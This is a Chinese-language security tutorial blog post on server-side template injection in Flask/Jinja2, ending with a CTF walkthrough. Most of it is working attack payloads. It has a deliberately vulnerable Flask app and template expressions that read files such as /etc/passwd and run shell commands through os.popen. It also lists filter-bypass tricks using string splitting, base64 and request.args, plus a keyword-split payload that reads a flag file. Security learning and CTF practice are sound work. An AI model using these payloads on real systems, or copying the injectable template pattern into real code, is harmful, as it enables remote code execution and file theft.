(精编)Python与安全(三)SSTI服务器模板注入

2020-07-27 16:37:14 浏览数 (1)

此文章为原创连载文章,关注公众号,持续更新。

SSTI基本判断

Python中的魔术方法

__dict__保存类实例或对象实例的属性变量键值对字典

__class__返回类实例或对象实例所属的对象

__mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。

__bases__返回类所继承的基类。但不包含所继承类的父类。

__init__类的初始化方法

__globals__对包含函数全局变量的引用

__subclasses__()获取一个类的子类,返回的是一个列表

下面是示例,自己可以运行一下看看,会理解的更快(我运行环境是3.7的)

代码语言:javascript复制
class people:
    name = ''
    age = 0
    __weight = 0
    def __init__(self, n, a, w):
        self.name = n
        self.age = a
        self.__weight = w
    def speak(self):
        pass
class student(people):
    grade = ''
    def __init__(self, n, a, w, g):
        people.__init__(self, n, a, w)
        self.grade = g
    def speak(self):
        pass
class speaker():
    topic = ''
    name = ''
    def __init__(self, n, t):
        self.name = n
        self.topic = t
    def speak(self):
        pass
class sample(speaker, student):
    a = ''
    def __init__(self, n, a, w, g, t):
        student.__init__(self, n, a, w, g)
        speaker.__init__(self, n, t)
test = sample("Tim", 25, 80, 4, "Python")

#测试

代码语言:javascript复制
print(test.__dict__)
print(test.__class__)
print(sample.__mro__)
print(sample.__bases__)
print(sample.__init__)
print(sample.speak.__globals__)
print(sample.__init__.__globals__)
print(speaker.__subclasses__())
print(sample.__subclasses__())

Python注入语句

以下语句均在python3.7.7环境中测试。

测试脚本:

代码语言:javascript复制
# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/<str>')
def hello_world(str):
    template = '''
    {%% block body %%}
        <div>
            <h1>Here is test!!!</h1>
            <h3>%s</h3>
        </div> 
    {%% endblock %%}
    '''%(str)
    return render_template_string(template)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

1 获取基本类

首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如flask.request):

代码语言:javascript复制
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

2 文件读取

<class '_frozen_importlib._ModuleLock'>

代码语言:javascript复制
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}

上面的''.__class__.__mro__[1].__subclasses__()[75]等于

<class '_frozen_importlib._ModuleLock'>,下面同理。

<class 'click.utils.LazyFile'>

代码语言:javascript复制
{{ ''.__class__.__mro__[1].__subclasses__()[345]('test.txt').read()}}

3 命令执行

<class 'warnings.catch_warnings'>

代码语言:javascript复制
{{ ''.__class__.__mro__[1].__subclasses__()[183].__init__.__globals__.values()['eval']('__import__("os").popen('id').read()') }}

<class '_frozen_importlib._ModuleLock'>

代码语言:javascript复制
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__

下有eval,__import__等的全局函数,可以利用此来执行命令:

代码语言:javascript复制
#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

代码注入

我们可以参考P神的文章(https://github.com/vulhub/vulhub/tree/master/flask/ssti)

p神构造的语句:

代码语言:javascript复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

其实我们我们也可以参考上面自己代码自己写。

在上面的注入语句中,虽然简短,但是在不同版本的python中就会有一下差别,所以不能完全的通用,但是代码注入这不需要太多考虑python版本问题。

比如我们可以把文件读取语句写成代码:

示例:

代码语言:javascript复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_ModuleLock' %}
  {% for b in c.__init__.__globals__ %}
           {%if b =='__builtins__' %}
                   {% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %}
           {%endif%}
  {% endfor %}
{% endif %}
{% endfor %}

自己可以动手试试。

常用绕过

1 过滤[]和.

只过滤[]

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

代码语言:javascript复制
''.__class__.__mro__.__getitem__(1).__subclasses__().pop(40)('/etc/passwd').read()

若.也被过滤,使用原生JinJa2函数|attr()

将request.__class__改成request|attr("__class__")

2 过滤_

利用request.args属性

代码语言:javascript复制
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

3 关键字过滤

(1) base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

代码语言:javascript复制
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

(2)字符串拼接绕过

代码语言:javascript复制
{{[].__getattribute__('__c' 'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(3)使用session

代码语言:javascript复制
poc{{session['cla' 'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

代码语言:javascript复制
{{session['__cla' 'ss__'].__mro__[12]}}

或者

代码语言:javascript复制
request['__cl' 'ass__'].__mro__[12]}}

4 过滤{{

使用{% if ...%}1{% endif %},例如

代码语言:javascript复制
{%if’’.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()%}1{% endif %}

5 Tips

(1)使用__base__

如`{}.__class__.__base__`

和`{}.__class__.__bases__[0]`效果一样

(2)可用于访问对象的属性:

代码语言:javascript复制
request.__class__
request["__class__"]
request|attr("__class__")

(3)下面方法访问数组元素:

代码语言:javascript复制
array[0]
array.pop(0)
array.__getitem__(2)

案例分析

案例是GYCT2020的FlaskAPP,可以到BUUCTF(https://buuoj.cn/challenges)中找到题目。

可以直接利用P神写的POC进行getshell,但有过滤,可以拆分关键词进行绕过:

代码语言:javascript复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva' 'l' in b.keys() %}
      {{ b['eva' 'l']('__impor' 't__' '("o' 's")' '.pope' 'n' '("cat /this_is_the_fla' 'g.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

先对上面的POC进行base64加密再解密:

参考:

https://www.cnblogs.com/20175211lyz/p/11425368.html

https://xz.aliyun.com/t/3679#toc-11

https://www.smi1e.top/flask-jinja2-ssti-学习/

0 人点赞